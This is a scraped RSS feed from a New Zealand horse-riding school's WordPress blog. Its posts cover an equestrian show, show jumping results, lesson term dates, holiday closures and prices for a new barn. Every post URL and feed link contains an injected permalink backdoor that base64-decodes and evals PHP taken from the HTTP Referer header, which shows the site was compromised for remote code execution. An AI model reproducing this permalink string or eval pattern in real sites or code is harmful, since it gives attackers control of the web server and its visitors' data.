Trinity Valley Farms http://trinityvalley.co.nz Where we are passionate about horses! Sun, 06 Feb 2011 23:50:09 +0000 http://wordpress.org/?v=2.9.1 en hourly 1 What We’ve Been Up To! http://trinityvalley.co.nz/2011/02/07/what-weve-been-up-to/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://trinityvalley.co.nz/2011/02/07/what-weve-been-up-to/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 06 Feb 2011 23:50:09 +0000 Pete http://trinityvalley.co.nz/?p=270

El Caballo Blanco

Pete and I had a great Waitangi weekend in Auckland watching El Caballo Blanco at the Vector Arena. The show (originally established in Perth in 1971) was a celebration of the beauty, majesty and intelligence of the Spanish horse, showcasing Andalusians, Lipizzaners and Friesians. We saw a combination of intricate dressage movements (traditionally used in the battlefield), formation riding and liberty work accompanied by Spansih dance and song. My favourite part of the show was a ‘dance off’ between a beautiful Flamenco dancer and star of the show, Friesian horse, Apollo. We paricularly liked the fact that Rene Gasser took the time to show us how he teaches movements such as Piaffe and the Spanish Walk, using horses at various stages of their training to demonstrate. The horses rearing and walking on their hind legs was also particularly impressive. 

However, parts of the show made us smile as we do many of the same things with our own wonderful horses (such as the ‘lye down’ and liberty work). We were inspired to continue with our own training and work towards presenting a show of our own, showcasing what can be achieved with a horse when you have the time, patience and relationship. Watch this space for Trinity Valley Farms first show extravaganza!  

World Cup Show Jumping

Some of you may have been to the World Cup Show Jumping held at the Tauranga Racecourse over Waitangi weekend. If you did, you would have seen some amazing riding over some VERY high jumps and some beautiful and talented horses. The World Cup was won by Katie McVean, originally from Cambridge. Pete trained with Katie’s dad Jeff McVean for six years and remembers a seven year old Katie McVean!    

Do you feel inspired?

If any of you feel inspired to compete in a horse show after reading about  these great events, please let us know. There are local Western, Dressage, Show Jumping, Show Hunter, Eventing and Cross Country shows and some Ribbon Days coming  up. If you are intersted in giving any of these a go please contact Amy on 07 5715906 or 027 7693910 and let her know.

P.S. All lessons commence this week. Look forward to seeing you.

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Please note that Ohauiti will be closed for lessons Monday 31st January – Friday 4th February to give the horses (and instructors) a break before the beginning of the new term.

Term One lessons will commence at Ohauiti Saturday 5th February. We look forward to seeing you all then.

Plummers Point

Term One lessons commence at Plummers Point Wednesday 2nd February. If you wish to have lessons at Plummers Point and are not already booked in, please contact Amy as soon as possible as spaces are filling up fast.

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"Can we pull the sleigh?"

I can’t believe it’s that time again already! No doubt you all have the tree up and are well on the way to finishing your Christmas shopping – being far more organised than Pete and I!

Check out our Ohauiti AND Plummers Point pages to see what’s happening at each barn this summer.

Our Ohauiti barn will be closed from the 24th December to the 4th January.

Our Plummers Point barn will be closed from the 24th to the 26th of December.   Hours will be 12.00pm – 6.00pm.  Bookings are essential.

Please contact Amy Treloar  to book lessons, treks, parties and holiday programmes at both barns.

Ph: 07 571 5906  or  027 769 3910

]]> http://trinityvalley.co.nz/2010/12/14/merry-christmas-2010/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Trinity Valley Farms Plummers Point Now Open! http://trinityvalley.co.nz/2010/08/04/trinity-valley-farms-plummers-point-now-open/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://trinityvalley.co.nz/2010/08/04/trinity-valley-farms-plummers-point-now-open/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Wed, 04 Aug 2010 09:48:11 +0000 Pete http://trinityvalley.co.nz/?p=209 Hi everyone,

We have some very exciting news – in addition to our Ohauiti location, Trintiy Valley Farms is now open out at Plummers point! We are situated on Plummers Point Road at the Lava East complex.  Some of the excellent features we are able to provide at this new location include;

  • A Cafe and a Restaurant specialising in Thai cuisine
  • Trekking (one hour) through a kiwi fruit orchard*
  • Birthday parties with a selection of food from the Lava East Restaurant
  • Catered corporate functions
  • Pony rides
  • Private and group lessons
  • Eftpos and credit card facilities
  • Power, including lighting in the stable area and office/tack shed
  • Five stables and four covered yards
  • Good toilet facilities
  • Open weekends (we will be closed, at Plummers Point, Monday and Tuesday)
  • An arena that can be viewed from the restaurant

*In the future we are looking at doing some longer beach treks for our more experienced clients.

To all our existing clients, Trinity Valley Farms Ohauiti will continue to run as normal. But, you may want to go for a drive to check out our other location, say hello to the horses (and us!) and have a coffee or a meal at the cafe/restaurant.

TVF Plummers Point – Pricelist and Information

Address: 21 Plummers Point Road, Whakamaramara

Phone No: 07 577 1709   Cell: 021 281 4767

Hours: Wednesday – Friday 10:30am – 5:30pm

Saturday and  Sunday 9:30am – 5:30pm

Treks 1 hour             $45 per person

Pony Rides 10 mins   $10 per person

Pony Parties* from    $30 per person

Corporate Groups*    packages available

Lessons

Private half hour         $40

Private 45 mins          $60

Group 1.5 hours         $50 per person (3 or more people)

* Includes a selection of meals from the Lava East Cafe/Restaurant

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